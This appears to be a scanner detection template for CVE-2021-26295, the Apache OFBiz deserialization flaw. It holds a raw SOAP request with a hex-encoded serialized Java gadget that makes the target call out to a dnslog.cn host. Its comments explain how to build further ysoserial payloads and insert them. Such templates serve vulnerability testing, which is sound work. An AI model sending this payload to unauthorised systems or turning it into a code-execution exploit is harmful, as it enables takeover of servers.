59 lines
2.4 KiB
YAML
59 lines
2.4 KiB
YAML
id: CVE-2021-26295
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info:
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name: Apache OFBiz RMI deserializes Arbitrary Code Execution
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author: madrobot
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severity: critical
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tags: apache,cve,cve2021,rce
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description: Apache OFBiz has unsafe deserialization prior to 17.12.06. An unauthenticated attacker can use this vulnerability to successfully take over Apache OFBiz.
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reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-26295
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# Note:- This is detection template, To perform deserializes do as below
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# java.exe -jar .\ysoserial-master-d367e379d9-1.jar URLDNS http://t53lq9.dnslog.cn/ > mad.ot
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# `cat mad.ot | hex` and replace in <cus-obj> along with the url in std-String value
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requests:
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- raw:
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- |
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POST /webtools/control/SOAPService HTTP/1.1
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Host: {{Hostname}}
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Accept-Encoding: gzip, deflate
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Accept: */*
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Accept-Language: en
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
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Connection: close
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Content-Type: application/xml
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Content-Length: 910
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<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
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<soapenv:Header/>
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<soapenv:Body>
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<ser>
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<map-HashMap>
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<map-Entry>
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<map-Key>
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<cus-obj>bcc62005737220116a6176612e7574696c2e486173684d617005070c341c16606403200246200a6c6f6164466163746f724920097468726573686f6c6478703f4020202020200c770820202010202020017372200c6a6176612e6e65742e55524cfb2537361a7fa37203200749200868617368436f6465492004706f72744c2009617574686f726974797420124c6a6176612f6c616e672f537472696e673b4c200466696c6571207e20034c2004686f737471207e20034c200870726f746f636f6c71207e20034c200372656671207e20037870a0a0a0a0a0a0a0a07420107435336c71392e646e736c6f672e636e7420012f71207e2005742004687474707078742018687474703a2f2f7435336c71392e646e736c6f672e636e2f780a</cus-obj>
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</map-Key>
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<map-Value>
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<std-String value="http://t53lq9.dnslog.cn/"></std-String>
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</map-Value>
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</map-Entry>
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</map-HashMap>
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</ser>
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</soapenv:Body>
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</soapenv:Envelope>
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matchers-condition: and
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matchers:
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- type: status
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status:
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- 200
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- type: word
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words:
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- "OFBiz.Visitor="
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part: header
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- type: word
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words:
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- "null (Illegal hexadecimal character 
 at index 0)"
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- "errorMessage"
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part: body
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